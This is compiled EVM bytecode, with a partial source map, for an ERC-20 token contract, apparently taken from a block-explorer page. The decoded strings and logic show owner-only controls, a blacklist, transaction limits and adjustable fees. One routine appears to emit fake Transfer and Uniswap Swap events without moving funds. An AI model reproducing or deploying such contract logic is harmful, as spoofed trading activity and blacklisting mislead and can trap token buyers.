fffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c590613879565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a44613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad613899565b5b6020026020010151604051610ac391906133b7565b60405180910390a3858181518110610ade57610add613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a613899565b5b6020026020010151600080898781518110610b7957610b78613899565b5b6020026020010151604051610b91949392919061397a565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc7613899565b5b602002602001015189878581518110610be457610be3613899565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139bf565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a0b565b508080610c59906138f7565b915050610a29565b506001905095945050505050565b6000610c7c848484611c75565b610d3d84610c88611aa4565b610d38856040518060600160405280602881526020016143bb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f89092919063ffffffff16565b611aac565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d85611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0990613879565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e75611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990613879565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f60611aa4565b73ffffffffffffffffffffffffffffffffffffffff161480610fd65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fbe611aa4565b73ffffffffffffffffffffffffffffffffffffffff16145b610fdf57600080fd5b6000479050610fed8161255c565b50565b600061103a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c8565b9050919050565b611049611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90613879565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61119c611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122090613879565b60405180910390fd5b8060168190555050565b61123b611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bf90613879565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280601781526020017fe2829be28295e1b5a26220e2829ae28291e2829ae28291000000000000000000815250905090565b61137a611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fe90613879565b60405180910390fd5b8060188190555050565b600061142561141e611aa4565b8484611c75565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611490611aa4565b73ffffffffffffffffffffffffffffffffffffffff1614806115065750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114ee611aa4565b73ffffffffffffffffffffffffffffffffffffffff16145b61150f57600080fd5b600061151a30610ff0565b905061152581612636565b50565b611530611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490613879565b60405180910390fd5b60005b8383905081101561165c5781600560008686858181106115e3576115e2613899565b5b90506020020160208101906115f89190613618565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611654906138f7565b9150506115c0565b50505050565b61166a611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90613879565b60405180910390fd5b601982856117059190613a38565b111561171057600080fd5b6063818461171e9190613a38565b111561172957600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183191906133b7565b60405180910390a3600190509392505050565b61184c611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d090613879565b60405180910390fd5b8060178190555050565b6118eb611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196f90613879565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119de90613ade565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290613b70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613c02565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6891906133b7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb90613c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4a90613d26565b60405180910390fd5b60008111611d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8d90613db8565b60405180910390fd5b611d9e611306565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e0c5750611ddc611306565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f757601560149054906101000a900460ff16611e9b57611e2d611306565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9190613e4a565b60405180910390fd5b5b601654811115611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790613eb6565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f845750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fba90613f48565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612070576017548161202584610ff0565b61202f9190613a38565b1061206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690613fda565b60405180910390fd5b5b600061207b30610ff0565b90506000601854821015905060165482106120965760165491505b8080156120ae575060158054906101000a900460ff16155b80156121085750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121205750601560169054906101000a900460ff165b80156121765750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121cc5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f4576121da82612636565b600047905060008111156121f2576121f14761255c565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061229e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123515750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123505750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561235f57600090506124e6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561240a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242257600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124cd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124e557600a54600c81905550600b54600d819055505b5b6124f2848484846128ad565b50505050565b6000838311158290612540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125379190613260565b60405180910390fd5b506000838561254f9190613ffa565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125c4573d6000803e3d6000fd5b5050565b600060065482111561260f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612606906140a0565b60405180910390fd5b60006126196128da565b905061262e818461290590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561266d5761266c612ff7565b5b60405190808252806020026020018201604052801561269b5781602001602082028036833780820191505090505b50905030816000815181106126b3576126b2613899565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561275a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277e91906140d5565b8160018151811061279257612791613899565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127f930601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611aac565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161285d9594939291906141c0565b600060405180830381600087803b15801561287757600080fd5b505af115801561288b573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128bb576128ba61294f565b5b6128c684848461298c565b806128d4576128d3612b57565b5b50505050565b60008060006128e7612b6b565b915091506128fe818361290590919063ffffffff16565b9250505090565b600061294783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bca565b905092915050565b6000600c5414801561296357506000600d54145b61298a57600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061299e87612c2d565b9550955095509550955095506129fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cdf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612add81612d3d565b612ae78483612dfa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4491906133b7565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612b9f670de0b6b3a764000060065461290590919063ffffffff16565b821015612bbd57600654670de0b6b3a7640000935093505050612bc6565b81819350935050505b9091565b60008083118290612c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c089190613260565b60405180910390fd5b5060008385612c209190614249565b9050809150509392505050565b6000806000806000806000806000612c4a8a600c54600d54612e34565b9250925092506000612c5a6128da565b90506000806000612c6d8e878787612eca565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cd783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124f8565b905092915050565b6000808284612cee9190613a38565b905083811015612d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2a906142c6565b60405180910390fd5b8091505092915050565b6000612d476128da565b90506000612d5e8284612f5390919063ffffffff16565b9050612db281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cdf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e0f82600654612c9590919063ffffffff16565b600681905550612e2a81600754612cdf90919063ffffffff16565b6007819055505050565b600080600080612e606064612e52888a612f5390919063ffffffff16565b61290590919063ffffffff16565b90506000612e8a6064612e7c888b612f5390919063ffffffff16565b61290590919063ffffffff16565b90506000612eb382612ea5858c612c9590919063ffffffff16565b612c9590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee38589612f5390919063ffffffff16565b90506000612efa8689612f5390919063ffffffff16565b90506000612f118789612f5390919063ffffffff16565b90506000612f3a82612f2c8587612c9590919063ffffffff16565b612c9590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f655760009050612fc7565b60008284612f7391906142e6565b9050828482612f829190614249565b14612fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb99061439a565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61302f82612fe6565b810181811067ffffffffffffffff8211171561304e5761304d612ff7565b5b80604052505050565b6000613061612fcd565b905061306d8282613026565b919050565b600067ffffffffffffffff82111561308d5761308c612ff7565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130ce826130a3565b9050919050565b6130de816130c3565b81146130e957600080fd5b50565b6000813590506130fb816130d5565b92915050565b600061311461310f84613072565b613057565b905080838252602082019050602084028301858111156131375761313661309e565b5b835b81811015613160578061314c88826130ec565b845260208401935050602081019050613139565b5050509392505050565b600082601f83011261317f5761317e612fe1565b5b813561318f848260208601613101565b91505092915050565b6000602082840312156131ae576131ad612fd7565b5b600082013567ffffffffffffffff8111156131cc576131cb612fdc565b5b6131d88482850161316a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561321b578082015181840152602081019050613200565b60008484015250505050565b6000613232826131e1565b61323c81856131ec565b935061324c8185602086016131fd565b61325581612fe6565b840191505092915050565b6000602082019050818103600083015261327a8184613227565b905092915050565b6000819050919050565b61329581613282565b81146132a057600080fd5b50565b6000813590506132b28161328c565b92915050565b600080604083850312156132cf576132ce612fd7565b5b60006132dd858286016130ec565b92505060206132ee858286016132a3565b9150509250929050565b60008115159050919050565b61330d816132f8565b82525050565b60006020820190506133286000830184613304565b92915050565b6000819050919050565b600061335361334e613349846130a3565b61332e565b6130a3565b9050919050565b600061336582613338565b9050919050565b60006133778261335a565b9050919050565b6133878161336c565b82525050565b60006020820190506133a2600083018461337e565b92915050565b6133b181613282565b82525050565b60006020820190506133cc60008301846133a8565b92915050565b600067ffffffffffffffff8211156133ed576133ec612ff7565b5b602082029050602081019050919050565b600061341161340c846133d2565b613057565b905080838252602082019050602084028301858111156134345761343361309e565b5b835b8181101561345d578061344988826132a3565b845260208401935050602081019050613436565b5050509392505050565b600082601f83011261347c5761347b612fe1565b5b813561348c8482602086016133fe565b91505092915050565b600080600080600060a086880312156134b1576134b0612fd7565b5b60006134bf888289016130ec565b955050602086013567ffffffffffffffff8111156134e0576134df612fdc565b5b6134ec8882890161316a565b945050604086013567ffffffffffffffff81111561350d5761350c612fdc565b5b61351988828901613467565b935050606086013567ffffffffffffffff81111561353a57613539612fdc565b5b61354688828901613467565b9250506080613557888289016130ec565b9150509295509295909350565b60008060006060848603121561357d5761357c612fd7565b5b600061358b868287016130ec565b935050602061359c868287016130ec565b92505060406135ad868287016132a3565b9150509250925092565b600060ff82169050919050565b6135cd816135b7565b82525050565b60006020820190506135e860008301846135c4565b92915050565b6135f7816130c3565b82525050565b600060208201905061361260008301846135ee565b92915050565b60006020828403121561362e5761362d612fd7565b5b600061363c848285016130ec565b91505092915050565b61364e816132f8565b811461365957600080fd5b50565b60008135905061366b81613645565b92915050565b60006020828403121561368757613686612fd7565b5b60006136958482850161365c565b91505092915050565b6000602082840312156136b4576136b3612fd7565b5b60006136c2848285016132a3565b91505092915050565b600080fd5b60008083601f8401126136e6576136e5612fe1565b5b8235905067ffffffffffffffff811115613703576137026136cb565b5b60208301915083602082028301111561371f5761371e61309e565b5b9250929050565b60008060006040848603121561373f5761373e612fd7565b5b600084013567ffffffffffffffff81111561375d5761375c612fdc565b5b613769868287016136d0565b9350935050602061377c8682870161365c565b9150509250925092565b600080600080608085870312156137a05761379f612fd7565b5b60006137ae878288016132a3565b94505060206137bf878288016132a3565b93505060406137d0878288016132a3565b92505060606137e1878288016132a3565b91505092959194509250565b6000806040838503121561380457613803612fd7565b5b6000613812858286016130ec565b9250506020613823858286016130ec565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138636020836131ec565b915061386e8261382d565b602082019050919050565b6000602082019050818103600083015261389281613856565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390282613282565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613934576139336138c8565b5b600182019050919050565b6000819050919050565b600061396461395f61395a8461393f565b61332e565b613282565b9050919050565b61397481613949565b82525050565b600060808201905061398f60008301876133a8565b61399c602083018661396b565b6139a9604083018561396b565b6139b660608301846133a8565b95945050505050565b60006060820190506139d460008301866135ee565b6139e160208301856135ee565b6139ee60408301846133a8565b949350505050565b600081519050613a0581613645565b92915050565b600060208284031215613a2157613a20612fd7565b5b6000613a2f848285016139f6565b91505092915050565b6000613a4382613282565b9150613a4e83613282565b9250828201905080821115613a6657613a656138c8565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613ac86026836131ec565b9150613ad382613a6c565b604082019050919050565b60006020820190508181036000830152613af781613abb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b5a6024836131ec565b9150613b6582613afe565b604082019050919050565b60006020820190508181036000830152613b8981613b4d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bec6022836131ec565b9150613bf782613b90565b604082019050919050565b60006020820190508181036000830152613c1b81613bdf565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613c7e6025836131ec565b9150613c8982613c22565b604082019050919050565b60006020820190508181036000830152613cad81613c71565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d106023836131ec565b9150613d1b82613cb4565b604082019050919050565b60006020820190508181036000830152613d3f81613d03565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613da26029836131ec565b9150613dad82613d46565b604082019050919050565b60006020820190508181036000830152613dd181613d95565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613e34603f836131ec565b9150613e3f82613dd8565b604082019050919050565b60006020820190508181036000830152613e6381613e27565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613ea0601c836131ec565b9150613eab82613e6a565b602082019050919050565b60006020820190508181036000830152613ecf81613e93565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613f326023836131ec565b9150613f3d82613ed6565b604082019050919050565b60006020820190508181036000830152613f6181613f25565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613fc46023836131ec565b9150613fcf82613f68565b604082019050919050565b60006020820190508181036000830152613ff381613fb7565b9050919050565b600061400582613282565b915061401083613282565b9250828203905081811115614028576140276138c8565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061408a602a836131ec565b91506140958261402e565b604082019050919050565b600060208201905081810360008301526140b98161407d565b9050919050565b6000815190506140cf816130d5565b92915050565b6000602082840312156140eb576140ea612fd7565b5b60006140f9848285016140c0565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614137816130c3565b82525050565b6000614149838361412e565b60208301905092915050565b6000602082019050919050565b600061416d82614102565b614177818561410d565b93506141828361411e565b8060005b838110156141b357815161419a888261413d565b97506141a583614155565b925050600181019050614186565b5085935050505092915050565b600060a0820190506141d560008301886133a8565b6141e2602083018761396b565b81810360408301526141f48186614162565b905061420360608301856135ee565b61421060808301846133a8565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061425482613282565b915061425f83613282565b92508261426f5761426e61421a565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006142b0601b836131ec565b91506142bb8261427a565b602082019050919050565b600060208201905081810360008301526142df816142a3565b9050919050565b60006142f182613282565b91506142fc83613282565b925082820261430a81613282565b91508282048414831517614321576143206138c8565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143846021836131ec565b915061438f82614328565b604082019050919050565b600060208201905081810360008301526143b381614377565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a8f51125d8a1dff49e79e6afcf33202097256ec10acf87247d6c9353b52b5fa264736f6c63430008120033
Deployed Bytecode Sourcemap
4365:14672:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13965:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6917:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7842:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13389:81;;;;;;;;;;;;;:::i;:::-;;5756:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7194:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8984:734;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8043:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6063:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7103:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5804:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14142:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18292:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13722:235;;;;;;;;;;;;;:::i;:::-;;7297:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1852:148;;;;;;;;;;;;;:::i;:::-;;18432:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18913:118;;;;;;;;;;;;;:::i;:::-;;5953:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5498:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1638:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6007:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7008:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18101:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7443:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;: